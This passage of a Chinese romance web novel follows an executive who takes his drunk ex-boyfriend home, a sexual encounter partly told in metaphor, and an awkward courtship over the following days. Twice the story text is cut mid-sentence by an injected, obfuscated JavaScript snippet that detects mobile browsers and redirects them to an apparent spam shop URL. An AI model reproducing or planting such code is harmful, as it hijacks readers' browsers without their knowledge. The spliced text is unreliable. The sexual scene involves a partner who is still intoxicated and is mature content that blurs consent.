女生似乎被这个问题刺到,瑟缩了一下:“……他让我……跟着沈总您……说、说让我‘听话’……” “我是否在车上对你有任何不适当的言语或行为?” “没、没有……您给我水喝,送我回来……” “现在你是否意识清醒,自愿且安全地下车回家?” “……是。” 沈泽许停止了录音,将文件保存。 然后,他从西装内袋取出一张只有私人联系方式的名片,递给女生。 “录音文件我会留存。这张名片你收好,上面有我的私人号码。如果明天在公司因为今晚的事受到任何不公对待、威胁或骚扰,立刻联系我。”他语速平稳,条理清晰,“记住,你没有任何错。错的是利用职权进行龌龊交易的人。” 女生愣愣地接过东西,酒似乎醒了大半,眼圈有些发红,低声道:“谢、谢谢沈总……” “下车吧,注意安全。”沈泽许说完,转回了身。 看着女生踉跄但安全地走进小区大门,沈泽许才重新发动车子,融入夜色。 接下来得处理口袋里那个烫手山芋。 沈泽许打着方向盘,拐入一条热闹的街道,想找个垃圾桶扔掉那东西。 目光搜寻着街边,垃圾桶还没找到,却先看到了一个人。 就在前方不远处的烧烤摊塑料桌椅旁,陈温低垂着头,额发遮住了眉眼,身体随着呼吸微微起伏——像是睡着了。 他旁边坐着个长发女生,正一边漫不经心地撸着串,一边对着手机屏幕说什么,时不时还推推陈温的肩膀,试图把他弄醒。 这一幕,深深地扎进沈泽许眼里。 一股说不清是恼火、酸涩还是其他什么的情绪,猛地窜了上来。 他下意识想踩油门离开,眼不见为净。 但手指扣在方向盘上,力道却像是被什么东西硬生生拽住。 轮胎摩擦地面,发出声响。 黑色的轿车,最终突兀地停在了烧烤摊旁边空着的车位上。 沈泽许没有立刻下车。他坐在驾驶座,隔着车窗玻璃,看着不远处的两人。 女生似乎终于放弃了叫醒陈温,正招呼老板结账,准备把他弄走。 外界的喧闹、内心的躁动、还有傍晚那个仓皇逃离的背影与眼前这个沉睡的侧影……所有的一切,都让沈泽许感到一种前所未有的烦乱和失控感。 他深吸一口气,推开车门,走了下去。 “何绎这厮掉厕所里了?上个厕所上半天!”顾言锐一边费力地想架起瘫软如泥的陈温,一边对着空气抱怨,“陈温你也是,不能喝还逞能,我真服了你们两个了!” 就在这时,她眼角的余光瞥见一个身影正朝这边走来。 那人穿着一身挺括的深色西装,与周围格格不入。即使隔着段距离,也能看出相貌相当出众。 好帅啊。 顾言锐混沌的脑子里闪过这个念头。 但下一秒,这帅哥径直走到他们桌旁,二话不说,俯身,一只手揽过陈温的肩膀,另一只手穿过他膝弯,动作流畅得像是演练过无数次,轻易就把人从塑料椅子上“捞”了起来。 顾言锐愣住了,手里还抓着陈温一只胳膊。 这人谁啊? 男人扶好陈温,转身就要把人带走。 顾言锐的酒瞬间醒了大半,一个箭步冲上去,拽住了男人的西装衣角:“喂!你谁啊?干嘛呢这是!” 男人脚步顿住,侧过头。 路灯的光落在他脸上,轮廓分明,眼神深邃,却没什么多余的表情。 他没有立刻回答。 顾言锐瞪着他,脑子飞速运转:现在的人/贩子都这么嚣张了吗?穿得人模狗样直接当街扛人? 短暂的沉默后,男人开口了。 没什么情绪起伏,却隐隐感觉到一丝醋意: “我是他前男友。” 前男友啊…… 原来是前男友。 顾言锐脑子里机械地重复了一遍,抓着衣角的手下意识松了松。 哦,前男友,那……好像……没事了? 没事个屁!!! 等这个信息在酒精浸泡的大脑里完成完整的回路,惊雷般炸开时,顾言锐猛地回过神—— 眼前已经空了。 那男人已经半扶半抱着陈温,几步走到了路边一辆黑色的轿车旁,拉开车门,将人小心地安置进副驾驶,系好安全带,然后自己绕到驾驶座,上车,发动引擎。 整套动作行云流水,快得让人来不及反应。 黑色轿车滑入车道,尾灯一闪,迅速消失在街角。 晚风吹来,顾言锐僵在原地,一只手还保持着刚才拉扯的姿势。 她眨了眨眼,又眨了眨眼。 ……人、就、这、么、被、带、走、了? 何绎还没从厕所回来呢!她把陈温弄丢了!还是被一个自称“前男友”的陌生帅哥当街“绑”走的! “前男友就前男友吧……”她揉起突突直跳的太阳穴,自暴自弃地嘟囔,“至少看起来不像会把他卖去缅北挖矿的样子……” 当务之急,是先找到不见的醉鬼。 顾言锐脚步虚浮地往厕所方向走,心里还是不放心,忍不住又回头看了一眼远去的车尾灯方向。 不行,得先把何绎这货弄出来,至少多个人商量,虽然可能也商量不出什么。 夜色更深,烧烤摊的喧嚣依旧,只是少了一个沉睡的人,多了一个凌乱在风中的女医生,和一个仍在厕所不知今夕何夕的失恋美妆博主。 84. 自己来 陈温感觉自己像一团湿透的棉花,被迷迷糊糊地捞了起来。 他以为是顾言锐或者何绎,没多想,鼻腔里那股烧烤味淡了,取而代之的是一种清冷的茉莉香,若有似无,很好闻。 车子似乎驶入了不平整的路段,颠簸起来。他的脑袋不受控制地随着晃动,一下下磕在车窗上,发出闷响。 陈温不舒服地哼了一声,眉头紧蹙,想睁眼,眼皮却像灌了铅一样沉重。 原本是想借酒精麻痹傍晚那场相遇带来的冲击,结果现在倒好,自己先变成了一滩烂泥。 就在他难受时,一只手伸了过来,掌心托住了他歪向一侧的脑袋,然后将什么东西——像是折叠好的外套——垫在了他脑后和车窗之间。 撞击感消失了。陈温舒服了些,又眯了过去。 不知过了多久,车停了。 身体被移动,这次是被稳稳地抱了起来。手臂穿过他的膝弯和后背,力道平稳。 不对。陈温想。这不对劲。 顾言锐没这么大劲,何绎更不可能。而且这怀抱的感觉太过陌生,又隐隐透着一丝诡异的熟悉。 他费力地掀开沉重的眼皮。 视线模糊了好一会儿,才逐渐聚焦。 首先映入眼帘的,是一道线条清晰的下颌线。再往上,是抿成一条直线的薄唇。最后,他对上了一双眼睛。 那双眼睛正低垂着看他,里面像是盛满了无数被强行压下的、翻涌不息的东西,复杂得他看不懂。 陈温彻底愣住了,残存的酒意瞬间被惊飞了大半。 沈泽许……?他怎么在这?他现在……是被沈泽许抱着? 陈温像一尊没有灵魂的木偶,愣愣地被沈泽许抱着,穿过走廊,进入一个陌生的房间。 视线所及,简洁、干净,像高级酒店的套房。 沈泽许将他轻轻放在宽大的床沿坐下。 陈温勉强撑着身体坐直,目光空洞地落在对面灰色的墙壁上,脑子里依旧是一片嗡嗡作响的空白,酒精和震惊让他难以思考。 “……你,”他说道,“你出去……让我一个人待着……” 沈泽许没有离开,站在床边不远处。他沉默了几秒,才开口: “这是我家。” 他家?这个认知像一记重锤,砸得陈温本就晕眩的脑袋嗡嗡作响。 他像个彻头彻尾的失败者,醉醺醺的,毫无反抗能力,被最不想面对的人带回了对方的领地。 沈泽许看他脸色难看,沉默片刻,转身打算离开房间。 “别走……”陈温下意识地吐出这两个字,声音轻得像呓语。 沈泽许脚步顿住,回过身,眉头微蹙,声音里听不出情绪:“陈温,你到底是要我走,还是不走?” 陈温没回答。他只觉得浑身燥热难当,无意识地扯了扯自己的领口,含糊地嘟囔:“好热……” 沈泽许看了他几秒,走近床边,俯下身,伸手去解他T恤下摆的纽扣。 陈温穿的是件带几粒扣的休闲款。指尖触碰到腰侧皮肤,陈温浑身一颤,混沌的脑子清醒了一瞬,抓住沈泽许的手腕:“你脱我衣服干嘛?” 沈泽许动作停住,抬眼看他,两人距离极近。他语气平淡,陈述事实:“你不是说热吗?” 陈温被他噎住,抓着他手腕的力道松了,却没完全放开。他脸上泛着不正常的红晕,眼神迷蒙又带着点执拗的控诉。 热,是真的热。可沈泽许的靠近,沈泽许的手指,沈泽许的气息……这一切让他更热。 沈泽许任由他抓着自己,没有挣开,也没有继续动作。他维持着这个俯身靠近的姿势,静静地看着陈温。 “我好难受……”陈温像醉鬼在胡言乱语。 又像鱼尾被吊在半空。 沈泽许站在床边,阴影将他半笼罩。他没动,问:“哪里难受?” 陈温摸索着抓住沈泽许垂在身侧的手,不由分说地拉过来,直接按在自己左胸心脏的位置,用力压着。 单薄的T恤下,心跳又急又重。 “心脏疼?”沈泽许的掌心能感受到那狂乱的搏动,语气听不出起伏,目光却沉得厉害。 陈温不答,抓着他的手不肯放。 衣襟散乱着,胸口皮肤暴露在空气中,随着急促呼吸起伏,泛着潮红。 沈泽许抬起被陈温抓住的手,指节分明,带着凉意,直接落在那片敞开的皮肤上。 先是划过锁骨,缓缓下移,指腹带着薄茧,摩挲过胸口,最后停在腰侧。 陈温的身体骤然绷成一根弦,呼吸像被窒住,眼睫抖得厉害。但他没躲,抓着沈泽许手腕的那只手更用力,指节都泛白了。 沈泽许的手掌就停在那里,没进也没退。掌心紧贴着腰侧,他能感觉到陈温身体的颤栗。 这一切像梦,太不真实了。 “沈泽许……”陈温的声音含混不清,“难受……” 沈泽许手腕从他掌心抽走。陈温愣住,手指悬在半空,攥成拳又松开。 然后沈泽许的手掌贴了上来。 陈温的呼吸断了一下。他动不了。腰是软的,腿是僵的。 “呃……!”陈温仰起头,脖颈拉成一条脆弱的线,喉间逸出的气音破碎得不成样子。 沈泽许垂着眼,看着他全然失控的反应,脸上依旧没什么表情,眸色则深得像不见底的寒潭。 手上的动作不疾不徐。 钓着他。 不给他。 陈温觉得自己快要疯了。 就在某个临界点,沈泽许停了下来。 所有蓄势待发的浪潮被硬生生切断。陈温呜咽一声,身体颤抖着,下意识地追逐着那只撤离的手。 沈泽许却已抽回了手。他直起身,看着瘫软在床上、面色潮红、眼神有些涣散的陈温,抛出一个看似无关的问题: “晚上跟你一起吃饭的那个女的……” “是我朋友。”陈温立刻抢答,声音由于未散的情动还有些沙哑。 沈泽许似乎低低地笑了一声。 “不是,我是问,她自己一个人没事吧?” 陈温愣住了。他像被一盆冰水兜头浇下,迷雾散去大半,只剩下被看穿的窘迫和一丝懊恼。 “……没事。”他偏过头,避开了沈泽许的视线,“她没有喝很多,另一个朋友也在。” 沈泽许“嗯”了一声。 “还要继续吗?”他问。 陈温极轻地点了下头。 沈泽许看着陈温微微颤抖的睫毛,沉默片刻,然后问: “能亲你吗?” 不是“我想亲你”,也不是“我要亲你”,而是克制的“能吗”。 陈温没有回答“能”或“不能”。慢慢地、有些僵硬地,抬起了下巴,主动凑了上去,将自己的唇,印在了沈泽许的唇上。 即将分开的那一刻,被沈泽许追了上来,吻住。 沈泽许的手从他的腰间移开,一手捧住他的脸颊,加深了这个吻。 窗外有车驶过,灯光在天花板上滑了一道,又一道。 陈温闭上了眼。 不知过了多久,他的身体忽然绷紧,又松懈,脱力地倒在沈泽许怀里,大口大口地喘息。 沈泽许松开了他。他抬起陈温的下巴,迫使他看向自己,以审视的语气问: “这些谁教你的?” 陈温像是没听懂,或者根本不在意这个问题。眼神迷蒙,意识还漂浮在情动过后的余波和酒精的泥沼里。 他低喃:“……还要……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172017|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 像是不知餍足的幼兽。 沈泽许稍稍拉开了些许距离,确保陈温能看清自己,问:“陈温,你现在是清醒的吗?你知道这意味着什么吗?你是认真的吗?” 陈温努力聚焦视线,对上沈泽许深不见底的眼睛。 “……嗯。” 沈泽许看了他几秒,像是在最后确认这份“清醒”和“认真”。 然后,他没有再说什么。 他从床头柜抽出几张纸巾,擦拭着自己的手,每一个指节都擦得干干净净。擦完后,他将用过的纸巾团起,扔进一旁的垃圾桶。 接着,他俯下身,手臂穿过陈温的膝弯和后背,轻松地将人抱起,平移到了床铺的中央,让他躺得更舒适。 陈温被移动着,目光依旧有些涣散地追随着沈泽许的动作,眼里还残留着懵懂。 沈泽许站在床边,抬手解开了自己衬衫最上面的两颗纽扣。 “关灯。”陈温突然说。 沈泽许的动作顿住。他看了一眼陈温紧闭的双眼和抿紧的唇,依言起身,走到墙边“啪”地一声,按灭了房间的主灯,又开了空调。 唯一的光源只剩下窗外渗入的光影。 沈泽许回到床边,伸手从床头柜上拿过那个被硬塞进口袋的东西——负责人“赠送”的安全保障。 他将其放在陈温手边。 “自己来。”沈泽许的声音在黑暗中响起。 在此之前,他已经做了很久的准备。耐心,细致,等他完全适应。 此刻,将主动权交给陈温一部分。 陈温接过,用手试了几次没打开,最后用嘴咬开的。 “好宝宝,”沈泽许贴着他的耳朵说。 陈温的手抖得厉害,快要握不住手里的东西。他笨拙的摸索,凭着感觉展开,然后把脸埋进床单里,轻轻吸了一口气。 墨条搁久了,有些发干。 沈泽许往砚台里滴水,细细一线,不急。 水渗进去了。墨条开始走圆,从外沿往里推,慢得像在问:可以吗。 陈温没说话,也没走。 圆走大了,墨色匀开来。他把额头抵在床上,齿关咬着下唇,一声没吭。 砚池满了。 沈泽许收手,将墨条搁回原处。 窗台上那盆茉莉,花苞还阖着,一粒一粒白,什么都没开,什么都不知道。 手表发出今天第2次心率过快的警告。 “陈温,你抖得好厉害。”沈泽许说。 陈温以为是在嫌弃他,小声辩解:“……我控制不住……” “没事。”沈泽许低声应道。 再一次,陈温终于发出轻微的痛呼,抖得更厉害了。 “怎么了?”沈泽许问,动作停了下来。 “……脚,”陈温身体蜷缩起来,“右脚……抽筋了……停一下……我不行了……” 沈泽许凭感觉抓住了陈温抽筋的那只右脚脚踝。 “没事,”他安慰道,一边用指腹按摩陈温小腿后侧痉挛的肌肉。 过了一会儿,痉挛缓解了。 结束时,陈温已经精疲力竭,很困,睁不开眼睛,头一歪,睡了过去。 沈泽许看了他几秒,起身下床,走进浴室。 他调好水温,放满浴缸,然后回到床边,将陈温打横抱起。 洗完,他用宽大柔软的浴巾将陈温裹好,抱回已经换了新床单的床上。自己则快速冲了个澡。 等他回到床上时,陈温已经自发地蜷缩起来。 沈泽许躺下,伸手将他重新揽入怀中。 陈温在睡梦中无意识地蹭了蹭,找到一个舒适的位置,呼吸再次变得均匀。 沈泽许低下头,在陈温柔软的发顶,印下一个吻。 85. 涨工资 清晨,房间里很安静。 沈泽许先醒了,神清气爽。他伸手往旁边一探,却摸了个空。 他立刻睁开眼,直起身。 窗帘紧闭,室内光线昏暗,但足以看清——身旁空无一人,床单上只有凹陷的痕迹。 陈温不见了。 这个认知像冰水浇头,让沈泽许彻底清醒。 他猛地掀开被子下床,赤脚踩在地板上,目光快速扫过房间每个角落。 空的。 他脑子里闪过最坏的猜测:难道昨晚陈温根本不是清醒的?早上醒来,冲击太大,无法面对,所以……跑了? 沈泽许的心沉了下去。 他迅速找到自己昨晚扔在地上的裤子胡乱套上,发现原本搭在椅子上的那件T恤不见了。 但顾不上了,沈泽许一边扣着皮带一边大步往外走,动作罕见地带上了急促。 穿过走廊,刚到客厅,他停住了。 厨房的流理台前站着一个人。 陈温背对着他,身上套着一件明显过大的白色T恤——正是沈泽许失踪的那件。 T恤下摆堪堪遮到大腿根,下面两条腿光裸着,笔直修长,在晨光里白得晃眼。 沈泽许晚上没有做点别的,怕人醒来后悔了。 他恢复了往常那种不动声色的平静,像卸下了千斤重担,仿佛刚才那个慌张失措的人根本不是他。 他走过去,有着晨起的慵懒,问:“怎么了?这么早醒?” 陈温闻声转过身,手里还拿着个空玻璃杯,表情有些茫然。 他开口,声音嘶哑得几乎变了调:“今天还要上班……” 话一出口,他自己都被这破锣嗓子吓了一跳,尴尬地清了清喉咙,才继续说:“……有点渴,想喝水。但是不知道你家的杯子放哪里。” 沈泽许点点头,没多说什么,从他手里接过空杯子,走到净水器前,接了大半杯温水,递给他。 “谢谢。”陈温接过来,小口小口地喝着,温水滋润了干涩的喉咙,眉头跟着舒展。 “都这样了还要上班?”沈泽许看着他明显不适的站姿和嘶哑的嗓音,问道。 “不然呢,”陈温捧着水杯,瞥了他一眼,“你给我发工资?” 沈泽许低笑了一声:“也不是不可以。” 陈温被他噎住,闷头又喝了一大口水。 “昨晚的事……”沈泽许不合时宜地开口,像是提醒一件需要确认的事项。 “咳咳咳——!” 陈温突然被呛到,剧烈地咳嗽起来,整张脸涨得通红。 沈泽许上前一步,抬手在他背上不轻不重地拍着。 等陈温缓过气,脸和脖子还红着,眼神飘忽不敢看他,抬手摸了摸湿润的唇角。 然后,他像是下定了某种决心,抬起眼,说:“……都是成年人。昨晚的事……我会对你负责的。” 沈泽许的本意并非如此,但看着陈温强装镇定的样子,他心头那点不安被另一种情绪取代。 他没有反驳,也没有解释,只是顺着陈温的话,“嗯”了一声。 这声“嗯”让陈温更不自在了,他别开视线,又想喝水掩饰,发现杯子已经空了。 “我送你去上班吧,”沈泽许拿过他手里的空杯,放到水槽里,“这里位置偏,早上不好打车。” 陈温犹豫了一下,看了看自己光着的腿和身上不属于自己的T恤,又想到昨夜种种和此刻身体的酸痛……好像也没有更好的选择。 他点点头,算是同意。 陈温回到卧室,看到自己昨晚穿的裤子皱巴巴地扔在角落,显然是不能穿了。 沈泽许从衣柜里翻,出一条深灰色的运动裤递给他。 陈温接过来套上,尺寸竟然意外的合身,面料柔软舒适。 他当时没多想,只觉得是沈泽许备用的衣物。 直到坐进沈泽许车里,系安全带时,他看到侧边的品牌标志,一段被遗忘的记忆浮了上来——这条裤子,好像是他的。 是很久以前,沈泽许裤子脏了,在他家换洗时给的。 后来沈泽许一直没提,他也忘记了要他还了,没想到……竟然一直被收着,还保存得这么好? 陈温心里泛起一阵说不清的别扭,他忍不住悄悄瞥了一眼旁边专注开车的沈泽许。 沈泽许没什么表情,仿佛只是随手拿了条裤子给他,全然不知情的样子。 但陈温心里却打起了鼓:他是不是故意的?留着裤子,现在还拿出来给他穿像是在无声地提醒什么,或者……怕他赖账? 昨晚沈泽许那句“要我帮忙吗?”以及后来步步为营的“交易”逻辑,又清晰地在脑中回放。 陈温的脸颊又开始发烫,一股憋闷和委屈涌了上来。 明明昨晚最后是他自己点的头,甚至主动凑上去亲了。 可为什么现在感觉,好像从头到尾都被沈泽许算计得明明白白,连条旧裤子都能成为某种证据? 他越想越气,又没处发作,干脆扭过头,闭上眼睛,摆出一副拒绝交流、生人勿近的姿态。 沈泽许用余光扫了他一眼,嘴角弯了一下,极浅,又很快消失。 他将车载音乐的音量调低了些,驶向幼儿园。 宿醉的感觉和身体深处的酸软交织在一起,让陈温脑袋昏沉,胃里也有些不适。 即使他昨晚没喝到断片,那点酒精对他本就不佳的酒量来说,也足够折腾了。 车子停在幼儿园门口。 陈温解开安全带,正准备推门下车,手腕被沈泽许按住。 他说:“给个微信呗。” 陈温动作一顿,心里那股别扭劲儿又上来了。 他脱口而出:“不给……我又没说不对你负责。” 这话一出口,配合着他此刻急着下车、仿佛要“提裤子走人”的姿态,连他自己都觉得……听起来活像个彻头彻尾的渣男。 沈泽许闻言,没说话,只是静静地看着他。 那双深邃的眼睛里,闪过一丝失落。 他咬了一下自己的下唇,垂下眼帘,低声说:“……好吧。” 他顿了顿,又补充了一句。 “别人有的,我没有……没关系的。” 陈温:“……” 他僵在车门边,看着沈泽许那副故作平静、却仿佛受了天大委屈的模样,再结合昨晚的事……他感觉自己像个被架在火上烤的坏人。 明明该理直气壮的是他吧?被吃干抹净,虽然他也……咳,还被迫“负责”! 可沈泽许这副“我什么都不要,只要你开心就好”的姿态,实在太具有迷惑性和杀伤力了。 陈温重重地叹了口气,像是妥协,又像是无奈。他掏出手机,解锁,没好气地递到沈泽许面前,语气硬邦邦的: “自己输。” 沈泽许眼底极快地飞过一丝得逞的笑意,快得让人抓不住。 他接过手机,输入了自己的号码,发送了好友申请,又贴心地帮陈温通过,备注好“沈泽许”,一系列动作行云流水。 做完这些,他才将手机递还回去,脸上恢复了那副波澜不惊的样子。 “好了。路上小心,下班需要接吗?” “不用!” 陈温夺回手机,逃也似的推门下车,头也不回地朝幼儿园走去。 沈泽许坐在车里,看着那个穿着“自己”的裤子、步履匆匆的背影消失在园门后,终于不再掩饰,笑了笑。 他心情颇好地重新发动车子,驶离了幼儿园门口。 而陈温走进幼儿园,直到在休息室坐下,才掏出手机,看着那个新添加的、备注为“沈泽许”的联系人,头像还是一片纯黑,朋友圈干干净净。 他盯着看了好几秒,最后泄愤似的把手机屏幕按灭,塞回口袋。 烦死了。 他有点搞不懂自己了,为什么重逢的第一天就跟前男友搞上?他已经饥渴成这样了吗? 陈温感觉这个早上,比宿醉本身还要令人头疼一百倍。 陈温一整天都提不起劲。 站着累,坐着疼,蹲下更难受。明明下午就放假了,但白天格外难熬、漫长。 李见初把这看在眼里。她观察了一会儿,趁自由活动时间,咚咚咚跑到休息区,抱起两个软垫,又咚咚咚跑回来。 “陈老师,”她把垫子递过去,一本正经,“你肚子疼对不对?我妈妈肚子疼的时候也这样坐!” 陈温接过垫子,一时竟不知该怎么接话。 某种程度来说……确实算“肚子疼”吧。 他把一个垫子垫在椅面上,小心翼翼坐下去,柔软的支撑化解了那份磨人的不适。 另一个垫子他顺手盖在小腹上,暖融融的,像被一团云托着。 李见初满意地点点头,又咚咚咚跑回积木区,留下陈温靠在椅背上,长长地舒了口气。 舒服多了。 他拢了拢腿上的垫子,在心里给这位小护士记了一功。 同时,顾言锐给他发了消息,八卦昨天的事。 陈温看了一眼,头开始疼。 「那个前男友……到底怎么回事啊?」 「他带你去干嘛了?」 「你醒了没有啊?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172018|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「醒了回我一下。」 他揉了揉太阳穴。忘了还有这一茬。 「别问。别打听。」 对面秒回: 「懂了,以为你是性冷淡才不谈对象,原来是有忘不掉的白月光啊。」 「行吧行吧,你们继续,我不打扰了。」 陈温盯着“白月光”三个字,一时不知道该反驳什么。 不是白月光。是……算了。 他懒得解释,也解释不清,便将手机关闭了。 一闲下来,他就忍不住去想那人。 沈泽许这些年过得好吗…… 应该恨死他了吧…… 他有没有看那本日记。 那天托林宇舟转交的东西,他打开了吗。 那些字迹潦草、写写停停的深夜,他看到了吗。 日记里记了很多灰暗的事。 那些说不出的话,那些一个人硬扛的时刻,那些觉得活着没什么意思的日子。 他把它们都写进去了,没有粉饰,没有保留。 可是如果沈泽许真的翻下去。 翻到后面,就会发现。 从遇见他那一天起,每一页都变得很短。 不是没话写,是幸福写不出来。它太满,太轻,像手心捧着的月光,一握就要漏。 陈温翻来覆去,只写得出“今天很好”“他笑了”“他又在熬夜”。 没有形容词。 形容不出来。 那不是任何一个词能装得下的东西。 日记的后半本,其实是一封不会寄出的情书。每一页都在说:你知道吗,我好喜欢你。你知道吗,和你在一起,是我这辈子遇过最好的事。 他没有当面说过。 在一起的每一天却都在说这件事。 他想要沈泽许知道。 不是为什么要走。 是他其实从没后悔过遇见。 再来一次,还是会这样选。 不是不痛,是没有别的办法。 作为心理咨询师,他帮很多人理清过心事。层层剖开,找到源头,然后治疗,再放回去。 但他从来搞不懂自己。 然后是沈泽许。 这两个人像两道解不开的数学题,他演算了六年,草稿纸堆了满墙,答案还是空白。 还要接着想下去 “陈老师,”一个年轻的老师探头进来,眼睛亮晶晶的,藏不住了一点兴奋,“外面有人找你。高高帅帅的,开一辆黑色车!” 陈温低着头整理手边的积木筐,没抬眼:“不认识。” “啊?”年轻老师愣了一下,回头望了望门外,又转回来,困惑地说:“他说认识你的……” 陈温沉默了几秒,然后站起来。久坐后的某个部位隐隐发酸,他不动声色地扶了一下桌沿。 走到门口,他停了下来。 “跟他说,”陈温顿了顿,“我在忙吧。” 年轻老师“哦”了一声,转身跑出去了。 接下来的几天,沈泽许都没有出现。 陈温没问,也没发消息。微信对话框安静得像从没启用过。 周末过完,周一傍晚,一个穿着干练的年轻女人捧着花站在幼儿园门口,脸上挂着职业微笑,心里已经把沈泽许骂了八百遍。 “陈先生,沈总让我送来的。”她把那束开得正好的白玫瑰递过去,语气尽量公事公办。 陈温看了一眼,没有接。 “不用了,你拿回去吧。” 助理的笑容僵了一瞬。她深吸一口气,换了个更诚恳的语调:“陈先生,我就是个打工的……您不收,我回去没法交代。” 陈温沉默了几秒,大概是真的不想让她为难,伸手接了过来。 “……谢谢。” “不客气不客气!”助理如释重负,转身快步走回车里,关上门,掏出手机。 老板的微信对话框还开着,上一条是她十分钟前发的“送到啦”,还没收到回复。 她直接拨了语音。 那边接起来,没等她开口,就听见沈泽许的声音,不紧不慢的: “收了?” “收了收了,我的天,老板,”助理往后一靠,终于忍不住了,“您追夫能不能自己去啊???天天让我送花送下午茶,搞的像是我在追他!” 电话那头沉默了两秒。 “……涨工资。” 助理瞬间坐直,语气一百八十度大转弯: “哈哈哈老板,您说这话就见外了!我最爱工作了!今天送什么?下午茶还是甜点?他喜欢什么口味我马上记一下!” 86. 你才话多 陈温把花放在桌上。他站着看了几秒,又把那束花挪到茶几边缘,离自己远一点。 然后坐进沙发里。 也不是第一次收了。周一玫瑰,周二下午茶,周三又是花,周四说是顺路买的点心。助理的脸他都要认熟了。 烦。 不是烦那个助理,是烦沈泽许。 明明那天在车里说的是他会负责。明明是他把手机递过去,让沈泽许自己输的微信。 怎么现在搞得像沈泽许在追他? 还每次都让别人来送。 他自己人呢? 陈温把脸埋进掌心,用力搓了两下。 他又不是不想见沈泽许。他只是一想到要见,就不知道该怎么面对。 那天早上的沉默,那条裤子的暗示,那些没说清楚的话。全都卡在那里,不上不下。 沈泽许这样让人送东西,他没法拒绝。 人家小姑娘打工的,他不想让她为难。 可他越收,就越觉得自己像个被追的人。 他不是。 他是要负责的那个人。 窗外的天色暗下去,陈温还坐在沙发里,那束白玫瑰静静地开在茶几边缘,隔着半米的距离,谁也不理谁。 他摸出手机,点开那个黑色头像。 对话框里还停留在几天前,沈泽许发的最后一条消息: 「花收到了吗?」 他没回。 打了几个字,又删掉。打了,又删。 最后他把手机扣在沙发上,起身去洗澡了。 陈温洗完澡出来,手机屏幕亮着。 六人群的消息已经刷了十几条。准确来说是七人群,他那部旧手机电池放太久早就坏了,这些年收不到任何消息,别人发什么他都不知道。 今天被拉了进来。 「叶萧云:你不知道谢师宴那天我们多尴尬,人齐了结果你一个电话不接,找遍了学校跟你家附近,最后还是婷姐说你回广州了,我们才没报警。」 「叶萧云:你小子,六年不吱声,是不是把兄弟们忘了?」 「李欣桐:刚忙完。话说婷姐好像有东西要给你,之前跟我提过。我们也好久没回去看她了,要不约个时间?」 「林宇舟:同意。我下周可以。」 陈温盯着屏幕,不知在想什么。群成员列表里,沈泽许的头像安静地躺在倒数第二个,他没有加入聊天。 陈温犹豫了很久,最后只挑了那条“回去看婷姐”的信息,回了一个字: 「好。」 然后把手机扔在一边,不再看。 陈温正在整理治疗时用的卡牌,做着记录,思考下一步的解决方案。 那个男生今天选了张暴风雨的图,说像他妈妈发火时的样子,说了很多小时候的事。陈温把关键词写进备注,他的字迹本来就潦草,当了医生之后更是很难看懂了。 手机亮了一下。 他瞥了一眼。 「沈泽许:我今天好累。」 陈温心说:关我什么事。 屏幕又亮了。 「沈泽许:明天能预约你的咨询室吗?」 陈温动作顿了一下。 「沈泽许:我感觉自己好像有点难受。」 陈温盯着那行字,不自觉地屏住呼吸。 「因为我前男友不回我。」 ……前男友? 谁?什么前男友?是在说他吗? 陈温不敢回,假装自己不在线,把手机屏幕朝下扣在桌上。 过了几秒,又忍不住翻过来。 「还是不理我……」 「我明天去问问你的号怎么预约。」 陈温警铃大作。沈泽许来科室???同事怎么想,主任怎么想,前男友挂前男友的号做心理咨询。这传出去他还要不要做人了? 他飞快地打字。 「温馨提示:在。线上可以聊聊,就没有必要线下见面了吧?」 「沈泽许:线上不准。」 「看不到微表情。」 陈温盯着那行字,一口气堵在胸口。 ……微表情。 他是来做咨询的还是来当评委的。 陈温在心里咆哮:你是真难受还是来给我添乱的!!! 他还没来得及回复,下一条又来了: 「而且。」 「我是付费咨询,又不是找你走后门。」 陈温的脸烫得厉害,盯着屏幕半晌,最后发出去的话冷硬,像裹了层冰壳。 「你想怎么样。」 沈泽许没有犹豫: 「想找你谈谈。」 「什么时候。」 「现在可以吗?」 陈温几乎是秒回: 「不可以。」 拒绝得太快,连他自己都觉得有点刻意。他又补了一句,语气稍微缓了些: 「明天可以吗?」 「嗯。」 对话框安静了两秒。陈温以为对话结束了,正要放下手机。 新消息弹出来。 「沈泽许:来我公司。」 「温馨提示:……」 陈温看着那四个字,眉头拧起来。 ……为什么是他去? 回的却是: 「嗯。」 陈温站在那栋玻璃幕墙的大楼底下,仰头数到二十几层就放弃了。 下午没排咨询,幼儿园的活动也结束了。他本来可以回家躺着,或者约顾言锐吃饭。但他还是来了。 陈温去别的地方不算工作,沈泽许这也不算预约。他不知道自己来干嘛,就是抱着一种“跟沈泽许谈谈”的态度过来的。 沈泽许说有事情要咨询。谈什么?不知道。但肯定是有事找他,不然不会让他跑这一趟。 陈温捏着手机,犹豫了会,才进入了大堂。 前台抬头看见他,还没开口问,眼神扫过他的脸,忽然露出了“哦——是那个谁”的表情,热情得有点过分。 “陈先生是吧?沈总在二十七楼,电梯这边请。” 陈温沉默了一下。 连前台都认识他了? 陈温没离开多远,另一个前台说:“怎么回事啊?前几天晚上我加班,看见沈总接那个女生下班,今天带来的这个是新欢?” “哎,你别乱说!” 陈温没听完,他加快了脚步,将剩余的谈话甩在身后。 